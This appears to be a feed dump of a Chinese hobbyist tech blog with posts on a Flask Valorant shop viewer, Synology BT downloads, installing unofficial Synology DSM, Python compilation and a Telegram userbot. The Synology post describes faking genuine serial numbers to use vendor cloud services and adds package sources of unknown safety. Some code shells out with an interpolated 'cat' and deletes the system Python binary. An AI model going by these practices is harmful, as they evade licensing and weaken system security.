16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
@app.route('/trans')
def transDefault():
return redirect('/trans/maps')


@app.route('/trans/<t>')
def trans(t):
if request.args.get('lang'):
if request.args.get('lang') in app.config['BABEL_LANGUAGES']:
lang = request.args.get('lang')
else:
lang = str(request.accept_languages.best_match(
app.config['BABEL_LANGUAGES']))
elif request.accept_languages.best_match(app.config['BABEL_LANGUAGES']):
lang = str(request.accept_languages.best_match(
app.config['BABEL_LANGUAGES']))
else:
lang = 'en'
if t in ['agents', 'maps', 'weapons', 'skins']:
conn = sqlite3.connect('db/data.db')
datalist = []
if t == 'skins':
c = conn.cursor()
c.execute(
'SELECT name, "name-zh-CN", "name-zh-TW", "name-ja-JP", isMelee FROM {}'.format(t))
conn.commit()
data = c.fetchall()
c.execute(
'SELECT name, "name-zh-CN", "name-zh-TW", "name-ja-JP" FROM weapons')
conn.commit()
weapons = c.fetchall()
else:
c = conn.cursor()
c.execute(
'SELECT name, "name-zh-CN", "name-zh-TW", "name-ja-JP" FROM {}'.format(t))
conn.commit()
data = c.fetchall()
for i in data:
if t == 'skins':
en_name, zhCN_name, zhTW_name, jaJP_name, isMelee = i
if isMelee:
continue
for en, zhCN, zhTW, jaJP in weapons:
en_name = en_name.replace(en, '').strip()
zhCN_name = zhCN_name.replace(zhCN, '').strip()
zhTW_name = zhTW_name.replace(zhTW, '').strip()
jaJP_name = jaJP_name.replace(jaJP, '').strip()
if {"en": en_name, "zhCN": zhCN_name, "zhTW": zhTW_name, "jaJP": jaJP_name} not in datalist:
datalist.append(
{"en": en_name, "zhCN": zhCN_name, "zhTW": zhTW_name, "jaJP": jaJP_name})
else:
if {"en": i[0], "zhCN": i[1], "zhTW": i[2], "jaJP": i[3]} not in datalist:
datalist.append({"en": i[0], "zhCN": i[1],
"zhTW": i[2], "jaJP": i[3]})
return render_template('trans.html', data=list(datalist), lang=yaml.load(os.popen(
f'cat lang/{lang}.yml').read(), Loader=yaml.FullLoader))
else:
abort(404)

手动切换网站语言

这个还是@Vanilluv提出的,我就加了个lang参数用来切换语言

如果是网站支持的语言中的一种,就显示指定的语言;如果非支持的语言,默认显示浏览器语言;如果浏览器没有合适的语言(例如用curl访问)就会显示英语

按照这个逻辑,写了一个判断

1
2
3
4
5
6
7
8
9
10
11
12
13
if request.args.get('lang'):
if request.args.get('lang') in app.config['BABEL_LANGUAGES']:
lang = request.args.get('lang')
elif request.accept_languages.best_match(app.config['BABEL_LANGUAGES']):
lang = str(request.accept_languages.best_match(
app.config['BABEL_LANGUAGES']))
else:
lang = 'en'
elif request.accept_languages.best_match(app.config['BABEL_LANGUAGES']):
lang = str(request.accept_languages.best_match(
app.config['BABEL_LANGUAGES']))
else:
lang = 'en'

然后使用语言文件的时候就直接调用{lang}.yml就可以了

库存查看功能

这个功能是有人在小黑盒里面问到说“是否支持查看库存”(@Vanilluv发每日商店的时候有人问的),然后本来就想做这个功能,所以就花了三天的时间做了

获取库存很简单,在参考文档里面就有这节内容

获取玩家已拥有的物品/store/v1/entitlements/{userId}/{itemType}

所以获取是很好弄的,获取到的内容我也看了一下,是所有已经购买的武器的等级(需要找skinlevels表)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
{
"ItemTypeID": "e7c63390-eda7-46e0-bb7a-a6abdacd2433",
"Entitlements": [
{
"TypeID": "4e60e748-bce6-4faa-9327-ebbe6089d5fe",
"ItemID": "12831559-44ee-c708-b97c-29a43938e3cd"
},
... (此处省略)
{
"TypeID": "4e60e748-bce6-4faa-9327-ebbe6089d5fe",
"ItemID": "eaf52d49-4608-45d9-5f18-c8b12614e01f"
}
]
}

ItemID就是skinlevels表里面的uuid,所以直接跟着UUID找就行了

而炫彩就没那么简单了,炫彩虽然也是uuid,但是我们没有构造炫彩的数据库表(下面是个例子)

1
2
3
4
5
6
7
8
9
10
11
12
13
{
"ItemTypeID": "3ad1b2b2-acdb-4524-852f-954a76ddae0a",
"Entitlements": [
{
"TypeID": "4e60e748-bce6-4faa-9327-ebbe6089d5fe",
"ItemID": "2d0c7deb-4f5a-40ea-8fe8-288e060d02c6"
},
{
"TypeID": "4e60e748-bce6-4faa-9327-ebbe6089d5fe",
"ItemID": "7a68a469-4c7b-1c17-372d-2dbcd50fc114"
}
]
}

然后我是先把有的做了出来,就只要是获取到皮肤的UUID,发现是等级1的,就判断有这把枪,然后把这把枪的数据加入weapon_list中给网页进行渲染,就达到了查看库存的效果

显示已购买的等级

为什么我上面说花了三天,因为在想怎么给用户提示说这个等级已经用RP购买过了,上面我们不是说到过获取库存的时候是获取的所有皮肤等级嘛,我就把玩家拥有的皮肤等级的UUID给弄到一个列表,然后获取皮肤信息的时候,如果这个等级的UUID在我的列表里面,就给个FLAG叫udpated,设定为True,渲染的时候就只需要检查是否存在updated这个FLAG就可以了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
class player:
def getSkins(self):
data = requests.get(f'{self.server}{Api.owned}{self.user_id}/{Options.skins}', headers=self.__header, timeout=30).json()
skins = data['Entitlements']
owned_skins = []
for skin in skins:
owned_skins.append(skin['ItemID'].upper())
return skins, owned_skins# 这里owned_skins就是已拥有的皮肤列表

def getChromas(self):
data = requests.get(f'{self.server}{Api.owned}{self.user_id}/{Options.chromas}', headers=self.__header, timeout=30).json()
chromas = data['Entitlements']
owned_chromas = []
for chroma in chromas:
owned_chromas.append(chroma['ItemID'].upper())
return chromas, owned_chromas# 这里owned_chromas就是已拥有的炫彩列表

1
2
3
4
5
6
7
8
9
10
11
12
{% if level.updated %} <!-- If this level has been updated, set the color of the button to green -->
<button type="button" class="btn bg-gradient-success" data-bs-toggle="modal"
data-bs-target="#WEAPON-{{level.uuid|escape}}">
{{level.displayName}}: {{level.levelItem}}
</button>
{% else %}
<button type="button" class="btn bg-gradient-primary" data-bs-toggle="modal"
data-bs-target="#WEAPON-{{level.uuid|escape}}">
{{level.displayName}}: {{level.levelItem}}
</button>
{% endif %}

这样就可以达到变绿的效果,而原来的紫色按钮就说明没有购买这个等级/炫彩

在皮肤库/库存中显示价格

首先这个价格的来源就很麻烦。我尝试使用拳头自己的Offer列表去解析价格,但是怎么弄价格都是错的(鬼刀4800那种错误),所以没办法。

后来我找到了VALORANT FANDOM WIKI,里面有各种武器的价格

然后就开始弄解析它那个价格表格的代码了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
def UpdatePriceCache():
print('Start Updating Price Cache')
weapons = [
"Classic", "Shorty", "Frenzy", "Ghost", "Sheriff",
"Stinger", "Spectre",
"Bucky", "Judge",
"Bulldog", "Guardian", "Phantom", "Vandal",
"Marshal", "Operator",
"Ares", "Odin",
"Tactical_Knife"]
base_url = 'https://valorant.fandom.com/wiki' # Get price data from wiki
for weapon in weapons:
print(f'Updating {weapon.replace("_", " ")}')
res = requests.get(f'{base_url}/{weapon}')
html = res.text
soup = BeautifulSoup(html, 'html.parser')
tables = soup.find_all('table', class_='wikitable sortable')
if len(tables) > 0:
table = tables[0]
for row in table.find_all('tr'):
cells = row.find_all('td')
if len(cells) == 0:
continue
content = [cell.text for cell in cells]
# Content Format: [Image, Edition, Collection, Source, Cost/Unlock, (Upgrades), (Chromas)]
if weapon != 'Tactical_Knife':
collection = content[2].replace('\n', '')
source = content[3].replace('\n', '')
unlock = content[4].replace('\n', '')
weapon_name = f'{collection} {weapon}'
else:
collection = content[1].replace('\n', '')
name = content[2].replace('\n', '')
source = content[3].replace('\n', '')
unlock = content[4].replace('\n', '')
weapon_name = f'{collection} {name}'
conn = sqlite3.connect('db/data.db')
c = conn.cursor()
try:
vp_img = '<img src="/assets/img/VP-black.png" width="32px" height="32px">'
if source == 'Store': # This skin can be unlocked through store
c.execute('UPDATE skinlevels SET unlock = ? WHERE name LIKE ?', (f'{vp_img} {unlock}', weapon_name))
else:
c.execute('UPDATE skinlevels SET unlock = ? WHERE name LIKE ?', (f'{source} {unlock}', weapon_name))
except Exception as e:
print(e)
conn.commit()
print(f'{weapon.replace("_", " ")} has been Updated.')

因为价格基本不会改,而且只有拳头出皮肤的时候才会有价格的变动,所以我设置为12小时更新一次了

然后把价格/解锁方式给丢入数据库,渲染HTML的时候把数据取出渲染就是了

FAQ的编写

这个是我去游泳的那天晚上在车上想到的,因为说白了EULA那个东西,是我用生成器弄出来的,其实并不标准,而且我们这个是开源项目,也不是公司什么的那种主体提供的服务,原则上我只需要写个免责声明就行了,但是写个免责声明吧,有感觉好像缺了点什么,最后就决定写个FAQ

所以FAQ在这里啦:https://gamernotitle.notion.site/VALORA-FAQ-86f072f8cebf4a8d9453a795b24cd507

改名风波

嗯没错,VSC改名为了Valora,这是因为@Vanilluv给我发了张图

也不知道是不是这个人开了还是咋的,反正就是被封了,但是本着开发者的态度,他说用了VSC我就去查查是不是我这个,我就去翻数据库(数据库有玩家的ID,小黑盒是可以查玩家的ID的),然后没发现,就说明咱们是清白的

VSC这个名字确实很多东西用,我之前查到过(如图,这还是其中一个)

所以说咱们为了不跟人冲突就改个名字嘛,我就去问ChatGPT了,改什么名字好

  • 我开发了一个查看瓦罗兰特每日商店的网站,请你帮我给这个网站想个名字,要英文的,越短越好,而且要有缩写版

    • How about “ValShop” as the name for your website? It’s short, easy to remember, and has a clear connection to the subject matter. For the abbreviation, you could use “VS” which is simple and recognizable.
  • 换一个

    • Sure, here are a few more suggestions for the name of your website:

      1. “DailyVault”: This name combines “daily” to indicate that the site is updated every day, and “vault” to reference the setting of the game.
      2. “ValoraMart”: This name plays off the popular retail chain Walmart, and incorporates “Valora” to reference the game world.
      3. “ValoraDeals”: This name emphasizes the focus on shopping and finding good deals within the Valoran setting.

      For abbreviations, you could use “DV” for “DailyVault,” “VM” for “ValoraMart,” and “VD” for “ValoraDeals.”

  • 它的功能不只有看商店,也可以查看夜市、查看库存、还有完整的皮肤资料库,请你加上这些依据再想想

    • Thank you for the additional information! Here are some more suggestions for the name of your website, taking into account the expanded functionality:

      1. “ValoraHub”: This name suggests that your website is a central hub or resource for all things related to Valoran commerce, including daily shops, night markets, inventories, and skin information.
      2. “ValoraMarket”: This name emphasizes the commerce aspect of your website, and can encompass both daily shops and night markets, as well as inventory and skin information.
      3. “ValoraVault”: This name plays off the idea of a vault or treasure trove, and suggests that your website is a valuable resource for all things Valoran, including commerce and skin information.

      For abbreviations, you could use “VH” for “ValoraHub,” “VM” for “ValoraMarket,” and “VV” for “ValoraVault.”

  • 缩写请增至三个字母 请你再想想

    • Sure, here are revised names and abbreviations that are three letters long:

      1. “ValHub” (VHB): This name is a shortened version of “ValoraHub” and still suggests that your website is a central resource for all things Valoran, including commerce and skin information.
      2. “ValMar” (VLM): This name is a shortened version of “ValoraMarket” and still emphasizes the commerce aspect of your website, while also encompassing night markets, inventory, and skin information.
      3. “ValVault” (VVT): This name is a shortened version of “ValoraVault” and still plays off the idea of a vault or treasure trove, suggesting that your website is a valuable resource for all things Valoran.

      I hope these suggestions are helpful!

嗯它给我的回答……我觉得很不错,然后最后选择了它在两个字母缩写那里给我起的前缀Valora,简称VLR

Access Token登录

本来这一节是叫做Cookie登录的,但是后来发现再怎么弄Cookie都过不了Cloudflare的WAF那一关,所以还不如直接用access token

确定用Access Token了以后就比较简单了,按照重新认证的思路做就是了,不过这样就会发现,跟账号密码登录出来的功能是有区别的:

  • 获取不到用户的基础信息(用户名和tag)
  • 无法重新获取access_token(即无法保活)

那没办法了,想要安全那得有付出,至少在我能通过WAF之前,这两个东西都不可能做好了……

按钮的点亮条件

我之前是用后端进行限制的,如果没有填写用户名/密码或者不打钩的话就直接弹出提示且不让登陆,不过这样的话说实在的,东西都发出去了,服务器再弹回来,其实就没有发送的必要,然后我就让GPT给我写了对应的函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
function checkInputs() {
const accessTokenInput = document.getElementById('accesstoken-input');
const userIdInput = document.getElementById('userid-input');
const regionInput = document.getElementById('region-input');
const checkedEULAInput = document.getElementById('checked-eula-input');
const submitButton = document.getElementById('tokenlogin-submit');

// 检查accessToken是否非空
if (accessTokenInput.value.trim() === '') {
submitButton.disabled = true;
return;
}

// 检查userId是否为UUID格式
const uuidRegex = /^[a-fA-F0-9]{8}-[a-fA-F0-9]{4}-[a-fA-F0-9]{4}-[a-fA-F0-9]{4}-[a-fA-F0-9]{12}$/;
if (!uuidRegex.test(userIdInput.value)) {
submitButton.disabled = true;
return;
}

// 检查region是否为有效的地区代码
const validRegions = ['ap', 'kr', 'eu', 'na'];
if (!validRegions.includes(regionInput.value.toLowerCase())) {
submitButton.disabled = true;
return;
}

// 检查checkbox是否都勾选
if (!checkedEULAInput.checked) {
submitButton.disabled = true;
return;
}

// 如果所有条件都满足,则去掉按钮的disabled属性
submitButton.disabled = false;
}
function checkLoginInputs() {
const usernameInput = document.getElementsByName('Username')[0];
const passwordInput = document.getElementsByName('Password')[0];
const checkedRuleInput = document.getElementsByName('CheckedRule')[0];
const checkedEULAInput = document.getElementsByName('CheckedEULA')[0];
const submitButton = document.getElementById('login');

// 检查username和password是否非空
if (usernameInput.value.trim() === '' || passwordInput.value.trim() === '') {
submitButton.disabled = true;
return;
}

// 检查checkbox是否都勾选
if (!checkedRuleInput.checked || !checkedEULAInput.checked) {
submitButton.disabled = true;
return;
}

// 如果所有条件都满足,则去掉按钮的disabled属性
submitButton.disabled = false;
}

然后把元素的ID一改,完事!

结语

这个项目真的是从我自己立项开始做到现在,做了两周有多,接下来还有其他的更新,但是也是慢更了,就是那种小小的更新,功能性的除了一个皮肤库还没写以外,我就想不到还能做什么功能了,如果你有好的建议可以在下面评论,我看到会去试试的

如果你想给我赞助,除了访问赞助页面以外,也可以给我的账号充VP(缅甸区),DM(私聊)我我看到会给你发ID的,谢谢!

]]>
+ + + + + Tech + + + + + + + Flask + + API + + Valorant + + + +
+ + + + + 把群晖打造成BT自动下载服务器 + + /posts/Make-Synology-NAS-to-BT-Downloader/ + +

前几天不是把家里的小霸王给改造成了NAS嘛,然后本来就是想架个EMBY然后在家里直接就看番了的,找了一圈发现BT下载是比较好用的,结果下载下来文件名格式又不一样,不符合EMBY的解析要求,于是就有了这篇文章


找种子

我推荐用蜜柑计划 - Mikan Project (mikanani.me)

虽然有时候上不去,但是资源是全的,速度也很不错,可以试试

配置下载

我一开始用的qbitorrent(群晖套件版的),但是那个配置起来超级麻烦,而且发现RSS订阅后不会自动下载(不知道是我的问题还是啥)

然后我记得群晖里有一个自带的Download Station,启动后发现其实它是支持BT下载的

我们找到Download Station,然后打开RSS,在里面添加我们的RSS链接

我这里选的是那种分集用[]给括起来的字幕组(好正则匹配,后面会说为什么要re匹配),直接加进去就行了

然后在下面下载过滤器新建一个过滤器,根据自己的需要填写过滤规则

设置完后,记得在RSS Feeds里面,把之前已经发出来的剧集先根据自己的需要下载好

自动重命名

因为EMBY需要AnimeName SxxExx这样的命名格式,但是字幕组发布的资源命名通常都是乱的,所以我们需要配置一个自动重命名

我先写好了一个Python程序,放在/volume1/Storage/AutoRename/AutoRename.py里面(路径可以自己进SSH去找),内容如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
import os
import sys
import re
import time
import shutil

##### 初始化参数 #####

# 工作目录
workdir = '/volume1/Animes'

# 排除目录
ignoredir = [
'@eaDir',
'#recycle'
]

# 日志目录
logdir = '/volume1/Storage/log/synoscheduler/3'

# 日志保留时长(时间戳差,自己去算)【604800 7天】
logpreserve = 604800

# 更改工作目录
os.chdir(workdir)

# 排除目录函数
def RemoveIgnoreDirs(src: list, ignores: list) -> None:
for ignore in ignores:
try:
src.remove(ignore)
except Exception:
pass

# 移除保留时长外的log文件夹的函数
def RemovePreviousLog(src: list, logpreserve: int) -> None:
toRemove = False
loglist = os.listdir(src)
now = int(time.time())
for log in loglist:
try: logtime = int(log)
except Exception as e:
print(f'{e} when removing {logdir}/{log}')
continue
if now - logtime > logpreserve:
toRemove = True
shutil.rmtree(f'{logdir}/{log}')
print(f'Removed {logdir}/{log}')
if not toRemove:
print('Nothing to remove.')

if __name__ == '__main__':
print(f'{" Renameing Animes ":=^60}')
# 获取目录下所有番剧的名字
animes = os.listdir()
RemoveIgnoreDirs(animes, ignoredir)
for anime in animes:
# 获取番剧的季信息
seasons = os.listdir(f'./{anime}')
RemoveIgnoreDirs(seasons, ignoredir)
for season in seasons:
# 获取番剧每一话
episodes = os.listdir(f'./{anime}/{season}')
RemoveIgnoreDirs(episodes, ignoredir)
for episode in episodes:
try:
episode_num = str(re.search(r'\[[0-9][0-9](\.)?[0-9]?(v)?[0-9]?集?\]', episode).group()).replace('[', '').replace(']', '').replace('v2', '').replace('集', '')
except AttributeError:
print(f'No matching pattern on "{episode}"')
continue
filetype = episode.split('.')[-1]
filename = f'{anime} {season}E{episode_num}.{filetype}'
print(f'Renaming "{episode}" -> {filename}')
os.rename(f'./{anime}/{season}/' + episode, f'./{anime}/{season}/' + filename)
# 移除保留期限外的日志
print(f'\n{" Removing old logs ":=^60}')
RemovePreviousLog(logdir, logpreserve)
# 结束提示
print(f'\n{" Done ":=^60}\n')

这就是为什么选择字幕组的时候我选了分集号用中括号[]括起来的原因

接着我们打开群晖的控制面板,找到任务计划,新建一个任务

点击新增 -> 用户定义的脚本 根据自己的需要创建即可,一开始在任务名称里面会写Task x,这个x就是你的任务号,群晖的任务log会保存在<你指定的目录>/synoscheduler/<ID>这样的位置,所以这个ID记得记下来然后把脚本里面的ID改掉

保存后群晖就会自动执行重命名任务了,当EMBY进行扫描的时候,扫描到命名正确的文件就会自动加入媒体库了

注:EMBY媒体库的结构举例(也是我这个脚本适合的目录结构)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
W:.
├─为美好的世界献上爆焰!
│ └─S01
│ 为美好的世界献上爆焰! S01E01.mp4
│ 为美好的世界献上爆焰! S01E02.mp4

├─勇者死了
│ └─S01
│ 勇者死了 S01E01.mp4
│ 勇者死了 S01E02.mp4

├─总之就是非常可爱
│ └─S02
│ 总之就是非常可爱 S02E01.mp4
│ 总之就是非常可爱 S02E02.mp4

├─我推的孩子
│ └─S01
│ 我推的孩子 S01E01.mp4
│ 我推的孩子 S01E02.mp4

├─第二次被异世界召唤
│ └─S01
│ 第二次被异世界召唤 S01E01.mp4
│ 第二次被异世界召唤 S01E02.mp4

└─英雄联盟:双城之战
└─S01
英雄联盟:双城之战 S01E01.mp4
英雄联盟:双城之战 S01E02.mp4
英雄联盟:双城之战 S01E03.mp4
英雄联盟:双城之战 S01E04.mp4
英雄联盟:双城之战 S01E05.mp4
英雄联盟:双城之战 S01E06.mp4
英雄联盟:双城之战 S01E07.mp4
英雄联盟:双城之战 S01E08.mp4
英雄联盟:双城之战 S01E09.mp4
]]>
+ + + + + Tech + + + + + + + Synology + + BT + + Download + + + +
+ + + + + 在小霸王电脑上安装黑群晖 + + /posts/Install-black-synology-NAS-on-previous-PC/ + +

因为最近想看番,然后发现嗶哩嗶哩没有买几部番(如何看嗶哩嗶哩请见这里),就想着能不能直接用qbitorrent那一套自动订阅,但是吧,自己的电脑又不是天天开着,而且用来下番,游戏啥的还打不打了。这不转个头看到家里闲置的ASUS X455LD笔记本,就想着在上面按个黑群晖

下载并刷入引导

这里用到的是Github上的一个项目:fbelavenuto/arpl: Automated Redpill Loader (github.com)

因为我是安装在物理机上面,所以下的是那个带 img tag的文件,剩下两个VM的是给虚拟机用的

下载后解压,然后掏出我们的老朋友balenaEtcher来把img文件写入U盘(我这个U盘也是个小霸王,金士顿的经典DT 101 G2)

通过引导来编译WIFI固件

我们将U盘插入电脑,然后从U盘启动(记得关掉Secure Boot,我第一次没启动成功然后发现是忘记关Secure Boot了),在这里建议把网线插上,因为这个配置的过程中是不会配置WIFI的

启动的过程中,如果有弹出启动菜单,就直接选择Configure Bootloader就好了,然后会进入配置向导

获取到了IP以后,可以在其他电脑上输入这个地址进入配置,也可以直接输入menu.sh开始配置(我这里因为没有网线所以是插了手机用USB网络共享的)

我这里是直接输入menu.sh进去了,进入menu后我们从上到下依次来

选择型号

这个程序会自动列出你的电脑可用的群晖型号,我这里给我列出了很多

选适合自己的就行了,我这里选了DS3615xs(后面换成DS320+了),这里要记住后面的那个字符串,在下载系统的时候会用到

选择版本

Choose a Build Number里面,我们需要选择一个群晖的版本号,我直接选择了最新的42962,这个版本号要先记住,后面要用

选择序列号

在这个主要是你要不要洗白的问题,要洗白的话就要用白群晖的序列号,我这里是DS3615xs,所以用一个DS3615xs的序列号就可以了,这里我就随机生成一个了

洗白参考:黑群晖洗白介绍:可以让大家使用白群的Quickconnect - 知乎 (zhihu.com)

开始编译

弄完上面这三个,除非你有更多的自定义,否则直接选择Build the loader进行编译就可以了,接着电脑就会自动联网进行资源下载,然后编译,这个过程要等

编译好了以后,如果你的光标停在了Switch direct boot: false上面,按下回车,调成true(没有就不管),然后选择Boot the loader,然后手动重启一下电脑(直接输入reboot就行了,如果无法输入就长按电源键,在这里开始就不推荐使用手机插上去USB网络共享的方法了,因为手机的USB网络共享跟手机的WIFI共享不是一个网域的,会访问不到)

启动完成

启动好了以后,我们记住屏幕显示的IP地址,进入下一节

安装系统

首先你要去群晖官网下载一个系统Synology Archive Download Site - Index of /download/Os/DSM

在这里选择你要下载的版本(系统版本号后面带-的是小更新,我们要选择不带-的)

在这里搜索在型号选择那一节让你记住的字符串,把系统下载下来

然后链接我们的黑群晖(开个浏览器访问IP就行),进入设置向导,安装系统的时候把你的系统导入进去安装就行了

更新后会自动重启,这个开机可能会有点慢,实测我的开机用了2:25

安装套件

在群晖里有套件中心,你可以根据需要来安装你所需要的软件,当然你也可以SSH链接进去,不过群晖是没有apt的,尽管他是Ubuntu衍生

在套件中心,一开始里面的东西会非常少,因为官方没有给我们提供足够的套件,我们可以加入第三方套件源(套件源在下面,安全性不保证,来源于网络)

1
2
3
4
5
6
7
8
1.packages:http://packages.synocommunity.com/?beta=1
2.KS7.0SPK:https://spk7.imnks.com/
3.ACMENet: http://synology.acmenet.ru
4.communitypackage hub:http://www.cphub.net
5.Cambier:https://synology.cambier.org/
6.Dierkse:http://syno.dierkse.nl/
7.FileBot:https://get.filebot.net/syno/
8.Hildinger:http://www.hildinger.us/sspks/

点开套件中心,点击设置,然后添加自己的套件源就行了

添加完了以后,左边会有一个社群,在社群里面就能找到来自第三方软件源的套件了

结尾

黑群晖其实玩玩就好,具体的数据稳定性其实不太确定,因为这个东西毕竟不太稳定(我高一那年弄黑群晖就是数据火葬场),建议用SSH的时候不要乱捣鼓,省的系统崩了

]]>
+ + + + + Tech + + + + + + + Synology + + NAS + + + +
+ + + + + 我被微软算账了π_π + + /posts/My-Office365-is-Down/ + +

先上张图……

没错,这一轮是强制过期,我的邮件上次还跟我说续费到**7/12/2023 (UTC)**,就……很难受

发现这个问题还是群里面有人说了我才知道的,赶紧用其他的outlook账号开个新的订阅然后把数据转移过去

数据转移我用的是mover.io,微软官方其实也有转移的东西但是我没去研究,mover之前跟微软合作所以就一直在用了,结果跑了一个晚上没跑完

有人说是使用了qyi.io的e5续订服务的原因,这个也不清楚,我现在在telegram上看到的都说是随机的,不过我确实两个订阅都寄了,这个确实没办法

]]>
+ + + + + Software + + + + + + + Software + + + +
+ + + + + 记一次更新服务器Python的过程 + + /posts/Update-Python-on-my-server/ + +

这几天撸了一个Warframe的查询bot(GamerNoTitle/AaTMbot: AaTMbot (Alerts & Tenno’s Market Bot) 是一个与go-cqhttp一起运行的WARFRAME信息查询/推送bot (github.com)),因为自己物理机子用的Python版本是3.10.3,所以干脆就用上了3.10更新的match...case...写法,然鹅就当我写完bot部署到服务器的时候,却发现我的服务器的py还停留在3.8.10,这不就用不了match...case...了吗……所以我决定更新一下我的服务器上面的Python


下载Python

很简单,终端直接wget就行了,链接自己从官网获得

1
$ wget https://www.python.org/ftp/python/3.10.9/Python-3.10.9.tgz

然后我们要解压一下我们的文件,用tar命令

1
$ tar -zxvf Python-*.tgz

然后会得到一个文件夹,我们进入这个文件夹里面,准备编译Python

编译Python

Python源码是要自己编译的,编译成二进制可执行文件才能被我们的系统执行,首先我们要让它自己配置一下

1
$ ./configure --enable-optimizations

等它配置完以后开始编译(没有make的要先装一下,用sudo apt install make -y

1
$ make

这个过程会非常的漫长(主要我服务器性能太低了),等它编译完

进行安装

1
$ sudo make install

完成后,我们还要把原来的Python替换掉

替换Python

先删除原来的Python

1
$ rm /usr/bin/python

然后建立连接

1
2
$ sudo ln -s /home/ubuntu/python310/Python-3.10.9/python /usr/bin/python3
$ sudo ln -s /home/ubuntu/python310/Python-3.10.9/python /usr/bin/python

这样就完成了

]]>
+ + + + + Tech + + + + + + + 服务器运维 + + 更新Python + + 编译 + + + +
+ + + + + 防止你的Telegram被垃圾私信轰炸 - PagerMaid-Pyro 部署使用 + + /posts/Use-telegram-with-pagermaid/ + +

TeamPGM/PagerMaid-Pyro: Advanced Multi-Featured Telegram UserBot by pyrogram. (github.com)

Replit使用教程 白嫖Repl.it的服务,让你的服务不间断运行 | GamerNoTitle

YouTube参考 橙子知道|教你开启Telegram私聊验证功能,告别垃圾广告信息 - YouTube

先去看Replit的使用教程再来看这个会好一点哦

安装

我们先打开一个Replit实例,创建就好了,类型选到Bash

然后把PagerMaid克隆下来

1
2
3
$ git clone https://github.com/TeamPGM/PagerMaid-Pyro.git
$ mv PagerMaid-Pyro/* .
$ rm -rf PagerMaid-Pyro

然后安装轮子(如果不是在replit运行可以不加--target=.

1
$ pip install -r requirements.txt --target=.

装好了以后,我们还需要修改配置文件

配置

我们先把原来程序给我们的配置文件复制一份

1
$ cp config.gen.yml config.yml

然后打开config.yml文件,改下里面的配置

我们先去Authorization (telegram.org)登录我们的Telegram账号,注册一个应用,这个登录界面的验证码是发到你的Telegram应用里面的,不是短信!

登录进去以后,点API development tools,根据提示注册一个应用

注册完了应该会出现像我这样的页面

我们把App api_idApp api_hash复制下来,填入配置文件中

1
2
3
api_id: "ID_HERE"
api_hash: "HASH_HERE"
qrcode_login: "False"

qrcode_login强烈建议打开,因为你很有可能会收不到验证码,还不如扫个码,打开就填写True

然后找到web_interface配置项,把它打开,可以不用,但是要开,要不然不好保活,host要改成0.0.0.0,密码记得改一下

1
2
3
4
5
6
web_interface:
enable: "True"
secret_key: "RANDOM_STRING_HERE"
host: "0.0.0.0"
port: "3333"
origins: ["*"]

往下的配置根据自己需要修改,一般来说可以不改

接着我们改下main.sh里面的内容,改成下面的内容

1
python -m pagermaid

以便我们一键启动

使用

准备好你的手机(要登陆了Telegram)和一个二维码生成器,我用的草料二维码(没收广告费,确实好用)

Telegram在设置 => 设备 => 登录新客户端,进入扫码模式

然后在控制台打上

1
$ python -m pagermaid

把我们的PagerMaid打开,然后会弹出二维码或者登录链接,你会发现这个二维码显示不全

所以我们需要把登录链接丢进草料二维码生成器里面,生成一个二维码,拿手机扫一下,这个链接的有效时间是20秒,所以需要快一点

登录后如果配置了二步验证密码的话,还需要输入一下密码,出现像我这样的提示就是成功了

我们随便打开一个聊天窗口(建议找个收藏夹或者私聊,因为你发送的内容和PagerMaid给你返回的内容对方是能看到的),输入,help(命令前缀是一个逗号)

会弹出PagerMaid的帮助信息,可以在里面找到命令

插件

回归正题,本来用这个东西就是为了用私聊垃圾信息屏蔽的,现在只是装好了后端,还没有安装屏蔽功能

我们在聊天框输入,apt install pmcaptcha来安装它

然后输入,pmcaptcha show_settings来查看相关的设置,安装好的同时这个功能就已经打开了

当验证失败的时候就会被封禁(使用的是Telegram的Block功能,我这里选的是Sticker验证方式,使用,pmcaptcha change_type sticker就可以换过去了,需要对方发一个Sticker才能通过验证)

还有其他的插件,可以自己去探索。这东西有个web控制台的,可以去看看

]]>
+ + + + + Tech + + + + + + + Tech + + + +
+ + + + + 白嫖Repl.it的服务,让你的服务不间断运行 + + /posts/Full-use-of-replit/ + +

之前我用过很多的云平台,什么Azure啦,heroku啦,railway啦之类的,问题是这些平台有些太贵(Azure),有些改了免费策略已经不适合我们这些白嫖党使用(Heroku、Railway),我现在还在用的也就是Glitch(开多个账号,反正一个账号1000H/mo,就是配额太小了)

昨天突然想起telegram有个可以屏蔽垃圾私信的项目(具体可以看另一篇文章),然后又想起之前开发TGbot用过的replit,这不又开始了我的白嫖之旅


Repl.it官网:https://repl.it 或者 https://replit.com

BetterUptime官网:https://betteruptime.com/?ref=88fj (后面是AFF码,不想帮我AFF可以删掉)

基础使用

打开replit,使用你喜欢的方式登录(我用的是Github),然后就会进入主界面

在这里,我们可以点击左边的Create来创建一个实例,里面也有一些模板,可以根据自己的需要创建,我这里就选一个空项目(直接选到bash就行)了

进入到项目的编辑界面,在左边有个Repl Resources可以看到配额,这个配额确实不能说很多

我们点击左边Files右边的三个点,然后点击Show hidden files,把隐藏文件显示打开,肯定会用到的

下面会多出两个东西,一个是.replit,一个是replit.nix,其中,.replit里面存放的是项目的配置,包括启动命令啥的;而replit.nix里面存放的是nix包的信息,你可以在里面增添你想要的包

因为replit是不能使用sudo命令的(特殊手段另说),所以说想要安装新的软件只能通过nix包管理器来加

